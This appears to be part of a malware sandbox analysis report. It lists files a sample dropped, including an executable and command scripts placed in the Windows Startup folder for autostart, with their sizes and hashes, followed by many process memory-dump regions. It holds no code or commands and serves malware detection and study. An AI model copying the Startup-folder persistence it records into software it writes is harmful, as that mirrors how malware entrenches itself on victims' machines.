8b0e07beef5e6e892decf9e785cfce48d12fa10bcf5a504c88188eb32debe17455e4798c252857f499d583758c0230f4f1770b27347e1418003c2ef197249127

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\apate.exe

Filesize
119KB

MD5
7d7bb027a5ad2fdbfc4d2d34a128c2ca

SHA1
be9d462eb5c40167d4e5f9fa249bdac22306cc4c

SHA256
168981ff0969e645b1bd7446da31068ccae61803d2f7c539b4796ef6a0be5e04

SHA512
e3064dfdecf939a0ef8bddb92134c7eeb9e6be6a6a0313fcdfecbb8c2a86c68ab12a64fdade002507bc688781cbf441f13a297e88bffdb8160edef201cff0d93

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\network.cmd

Filesize
49KB

MD5
0df156ac630c30477b92a8782636bbbb

SHA1
0212f7fde7b1ee1cccfbd818f07fa190abbc0e3a

SHA256
f92f608e1581ed48b0090c7f1832d7765b155fb8a10809390e1f2e47d05d887b

SHA512
76a3e1bc3b31181f98a283845708734667efddd616a7886096fd11bbe8f8431cb835ec4e1bbc8dd9e6e3ded54b77a4b798e91eed8d7a86be01f9e0b1fee1b759

Download Submit
C:\Users\Admin\AppData\Roaming\Network52867Man.cmd

Filesize
9KB

MD5
752468e63d380eec55ba91c4b8fc1488

SHA1
51ade00e2552625e0ead12e73e6e50c7d5a7e71e

SHA256
ea711a049d37aa843ff768cd47249e79f63cac73286d16963b29f142e1ccdf48

SHA512
0fe19f92c8ce69d85b545c49b5778dc15a392e750770e157f8715d67dcf653d8f73cd671343e7b6acf4b56b6e108581f7c04d67cd6b87bed49cee413bc4d9811

Download Submit
memory/1484-140-0x0000000074AA0000-0x0000000075250000-memory.dmp

Filesize
7.7MB

Download
memory/1484-151-0x00000000028D0000-0x00000000028E0000-memory.dmp

Filesize
64KB

Download
memory/1484-141-0x00000000028D0000-0x00000000028E0000-memory.dmp

Filesize
64KB

Download
memory/2744-6-0x0000000005C10000-0x0000000005C54000-memory.dmp

Filesize
272KB

Download
memory/2744-0-0x0000000000520000-0x00000000005D6000-memory.dmp

Filesize
728KB

Download
memory/2744-5-0x0000000004CC0000-0x0000000004CD0000-memory.dmp

Filesize
64KB

Download
memory/2744-7-0x0000000005DB0000-0x0000000005DBA000-memory.dmp

Filesize
40KB

Download
memory/2744-4-0x0000000004E50000-0x0000000004EEC000-memory.dmp

Filesize
624KB

Download
memory/2744-3-0x0000000004CE0000-0x0000000004D72000-memory.dmp

Filesize
584KB

Download
memory/2744-11-0x0000000004CC0000-0x0000000004CD0000-memory.dmp

Filesize
64KB

Download
memory/2744-1-0x0000000074AA0000-0x0000000075250000-memory.dmp

Filesize
7.7MB

Download
memory/2744-2-0x0000000005360000-0x0000000005904000-memory.dmp

Filesize
5.6MB

Download
memory/2744-34-0x0000000074AA0000-0x0000000075250000-memory.dmp

Filesize
7.7MB

Download
memory/3188-41-0x0000000003430000-0x0000000003440000-memory.dmp

Filesize
64KB

Download
memory/3188-53-0x0000000074AA0000-0x0000000075250000-memory.dmp

Filesize
7.7MB

Download
memory/3188-39-0x0000000074AA0000-0x0000000075250000-memory.dmp

Filesize
7.7MB

Download
memory/3188-40-0x0000000003430000-0x0000000003440000-memory.dmp

Filesize
64KB

Download
memory/3796-90-0x0000000005550000-0x0000000005560000-memory.dmp

Filesize
64KB

Download
memory/3796-61-0x0000000005550000-0x0000000005560000-memory.dmp

Filesize
64KB

Download
memory/3796-71-0x000000007FC30000-0x000000007FC40000-memory.dmp

Filesize
64KB

Download
memory/3796-72-0x0000000007AC0000-0x0000000007AF2000-memory.dmp

Filesize
200KB

Download
memory/3796-73-0x000000006F4C0000-0x000000006F50C000-memory.dmp

Filesize
304KB

Download
memory/3796-92-0x0000000074AA0000-0x0000000075250000-memory.dmp

Filesize
7.7MB

Download
memory/3796-89-0x0000000007E40000-0x0000000007E51000-memory.dmp

Filesize
68KB

Download
memory/3796-88-0x0000000007F10000-0x0000000007FA6000-memory.dmp

Filesize
600KB

Download
memory/3796-59-0x0000000074AA0000-0x0000000075250000-memory.dmp

Filesize
7.7MB

Download
memory/3796-87-0x0000000007CC0000-0x0000000007CCA000-memory.dmp

Filesize
40KB

Download
memory/3796-60-0x0000000005550000-0x0000000005560000-memory.dmp

Filesize
64KB

Download
memory/3796-84-0x0000000005550000-0x0000000005560000-memory.dmp

Filesize
64KB

Download
memory/3796-85-0x0000000005550000-0x0000000005560000-memory.dmp

Filesize
64KB

Download
memory/3796-86-0x0000000007B00000-0x0000000007BA3000-memory.dmp

Filesize
652KB

Download
memory/3796-83-0x0000000006EF0000-0x0000000006F0E000-memory.dmp

Filesize
120KB

Download
memory/3940-127-0x0000000074AA0000-0x0000000075250000-memory.dmp

Filesize
7.7MB

Download
memory/3940-129-0x0000000005120000-0x0000000005130000-memory.dmp

Filesize
64KB

Download
memory/4304-224-0x0000000000400000-0x000000000040E000-memory.dmp

Filesize
56KB

Download
memory/4704-32-0x0000000006250000-0x000000000629C000-memory.dmp

Filesize
304KB

Download
memory/4704-30-0x0000000005D30000-0x0000000006084000-memory.dmp

Filesize
3.3MB

Download
memory/4704-54-0x0000000005080000-0x000000000508A000-memory.dmp

Filesize
40KB

Download
memory/4704-93-0x0000000074AA0000-0x0000000075250000-memory.dmp

Filesize
7.7MB

Download
memory/4704-14-0x0000000074AA0000-0x0000000075250000-memory.dmp

Filesize
7.7MB

Download
memory/4704-38-0x00000000075B0000-0x00000000075CA000-memory.dmp

Filesize
104KB

Download
memory/4704-13-0x0000000004D30000-0x0000000004D66000-memory.dmp

Filesize
216KB

Download
memory/4704-16-0x0000000004E10000-0x0000000004E20000-memory.dmp

Filesize
64KB

Download
memory/4704-57-0x0000000005090000-0x000000000509C000-memory.dmp

Filesize
48KB

Download
memory/4704-15-0x0000000004E10000-0x0000000004E20000-memory.dmp

Filesize
64KB

Download
memory/4704-107-0x0000000004E10000-0x0000000004E20000-memory.dmp

Filesize
64KB

Download
memory/4704-118-0x0000000004E10000-0x0000000004E20000-memory.dmp

Filesize
64KB

Download
memory/4704-17-0x0000000005450000-0x0000000005A78000-memory.dmp

Filesize
6.2MB

Download
memory/4704-18-0x0000000005A80000-0x0000000005AA2000-memory.dmp

Filesize
136KB

Download
memory/4704-152-0x0000000074AA0000-0x0000000075250000-memory.dmp

Filesize
7.7MB

Download
memory/4704-25-0x0000000005CC0000-0x0000000005D26000-memory.dmp

Filesize
408KB

Download
memory/4704-37-0x0000000007C10000-0x000000000828A000-memory.dmp

Filesize
6.5MB

Download
memory/4704-56-0x0000000077541000-0x0000000077661000-memory.dmp

Filesize
1.1MB

Download
memory/4704-36-0x0000000007510000-0x0000000007586000-memory.dmp

Filesize
472KB

Download
memory/4704-128-0x0000000077541000-0x0000000077661000-memory.dmp

Filesize
1.1MB

Download
memory/4704-31-0x00000000061F0000-0x000000000620E000-memory.dmp

Filesize
120KB

Download
memory/4704-19-0x0000000005BA0000-0x0000000005C06000-memory.dmp

Filesize
408KB

Download
memory/4704-35-0x0000000007340000-0x0000000007384000-memory.dmp

Filesize
272KB

Download
memory/5036-122-0x0000000074AA0000-0x0000000075250000-memory.dmp

Filesize
7.7MB

Download
memory/5036-120-0x0000000004D30000-0x0000000004D40000-memory.dmp

Filesize
64KB

Download
memory/5036-108-0x000000006F4C0000-0x000000006F50C000-memory.dmp

Filesize
304KB

Download
memory/5036-119-0x0000000004D30000-0x0000000004D40000-memory.dmp

Filesize
64KB

Download
memory/5036-94-0x0000000074AA0000-0x0000000075250000-memory.dmp

Filesize
7.7MB

Download
memory/5036-104-0x0000000004D30000-0x0000000004D40000-memory.dmp

Filesize
64KB

Download
memory/5036-105-0x0000000004D30000-0x0000000004D40000-memory.dmp

Filesize
64KB

Download